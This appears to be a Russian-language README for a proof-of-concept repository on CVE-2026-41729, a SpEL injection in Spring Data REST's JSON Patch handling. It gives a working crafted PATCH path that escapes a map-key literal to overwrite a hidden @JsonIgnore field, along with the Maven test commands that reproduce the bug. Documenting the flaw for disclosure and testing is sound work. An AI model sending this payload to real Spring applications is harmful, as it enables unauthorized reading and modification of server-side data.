
CVE-2026-41729 PoC
Этот репозиторий содержит минимальный PoC для CVE-2026-41729, опубликованного в официальном бюллетене безопасности Spring.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NПри обработке запросов JSON Patch (Content-Type: application/json-patch+json) Spring Data REST напрямую вставлял фрагменты пути ключа map-свойства (map-typed property) в выражения SpEL.
Согласно официальному бюллетеню, если постоянная сущность (persistent entity) предоставляет свойство типа Map, и злоумышленник может отправить PATCH-запрос к соответствующему ресурсу, то можно манипулировать сегментом ключа map, чтобы выйти за пределы предполагаемого литерала map indexer и выполнить подвыражение SpEL в контексте aggregate root. Сообщается, что затронуты как read-путь, так и write-путь патча.
Данный PoC демонстрирует использование write-пути патча для изменения поля, отмеченного @JsonIgnore, которое не отображается в обычном REST-представлении, с помощью специально crafted JSON Patch path.
Продукты по официальному бюллетеню:
Затронутые версии:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5Исправленные версии:
3.7.204.3.174.4.154.5.12 или 4.5.11.15.0.6 или 5.0.5.1Тест запускает реальное приложение Spring Boot и отправляет HTTP PATCH-запрос к эндпоинту Spring Data REST repository.
Доменный объект имеет следующую структуру:
people maphiddenChildren map, которая существует внутри каждого объекта Person, но скрыта в представлениях Jackson/Spring Data RESTВ обычном ответе REST hiddenChildren и его внутренние значения не видны.
GET /wrappers/sample
Прямое указание скрытого свойства в JSON Patch отклоняется.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
Однако при использовании crafted map key можно выйти за пределы литерала ключа map в процессе преобразования JSON Patch path → SpEL path и попасть на путь скрытого свойства.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
В уязвимой версии этот запрос выполняется успешно, и внутреннее значение изменяется следующим образом:
before -> after
Тест подтверждает, что в map не был создан фактический ключ a'].hiddenChildren['b; изменение скрытого пути свойства обусловлено выходом за литерал в выражении.
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
Ожидаемый результат для уязвимой версии:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
Успешное выполнение теста означает «уязвимое поведение воспроизведено». То есть в уязвимых зависимостях crafted JSON Patch-запрос успешно проходит и демонстрирует изменение скрытого внутреннего состояния.
Данный репозиторий использует родительскую конфигурацию Spring Boot 3.5.14, при которой разрешается spring-data-rest-webmvc версии 4.5.11, что входит в затронутый диапазон 4.5.0 - 4.5.11 согласно официальному бюллетеню.
Злоумышленник, способный отправлять JSON Patch-запросы на эндпоинт Spring Data REST, может манипулировать ключами map, чтобы спровоцировать нежелательную оценку SpEL-пути на стороне сервера. В результате могут быть прочитаны или изменены внутренние значения объекта, которые приложение не намеревалось раскрывать через REST-представление.
Официальный бюллетень оценивает влияние на конфиденциальность и целостность как «Высокое».
В официальном бюллетене Spring указано: